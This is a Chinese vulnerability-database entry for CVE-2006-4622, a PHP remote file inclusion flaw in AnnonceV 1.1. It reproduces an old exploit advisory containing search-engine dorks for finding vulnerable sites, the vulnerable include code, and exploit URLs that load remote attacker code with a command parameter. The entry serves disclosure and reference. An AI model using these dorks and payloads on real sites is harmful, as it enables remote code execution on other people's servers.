AnnoncesV 'Annonce.PHP'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110957 漏洞类型 输入验证
发布时间 2006-09-05 更新时间 2006-09-08
CVE编号 CVE-2006-4622 CNNVD-ID CNNVD-200609-081
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2305
https://cxsecurity.com/issue/WLB-2006090043
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-081
|漏洞详情
AnnonceV(也称为annoncesV)1.1的annonce.php中的PHP远程文件包含漏洞,远程攻击者可以通过page参数中的URL执行任意PHP代码。
|漏洞EXP
* Kurdish Security Advisory
* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev-news.html
* Script : AnnonceV
* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html
* Version : 1.1
* Risk : High
* Class : Remote
* Contact : botan@linuxmail.org and irc.gigachat.net #kurdhack
* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends
-----------------------------------------------------------------------------------

Google w0rkez :P : "AnnonceV1.1"
: "/admin/annonce.php"
: "/annonce.php"

lol now code :]

$page=$_GET['page'];


if(substr($page, -3) == 'txt')//pour les news
{
include("newsdisplay.php");
}

else //pour toutes les autres pages
{
include($page.".php");
}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id
http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

# milw0rm.com [2006-09-05]
|参考资料

来源:BUGTRAQ
名称:20060905[KurdishSecurity#26]AnnonceVNewsScriptRemoteCommandVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/445199/100/0/threaded
来源:MISC
链接:http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev-news.html
来源:XF
名称:annoncev-annonce-file-include(28742)
链接:http://xforce.iss.net/xforce/xfdb/28742
来源:BID
名称:19854
链接:http://www.securityfocus.com/bid/19854
来源:VUPEN
名称:ADV-2006-3470
链接:http://www.frsirt.com/english/advisories/2006/3470
来源:SREASON
名称:1515
链接:http://securityreason.com/securityalert/1515
来源:SECUNIA
名称:21772
链接:http://secunia.com/advisories/21772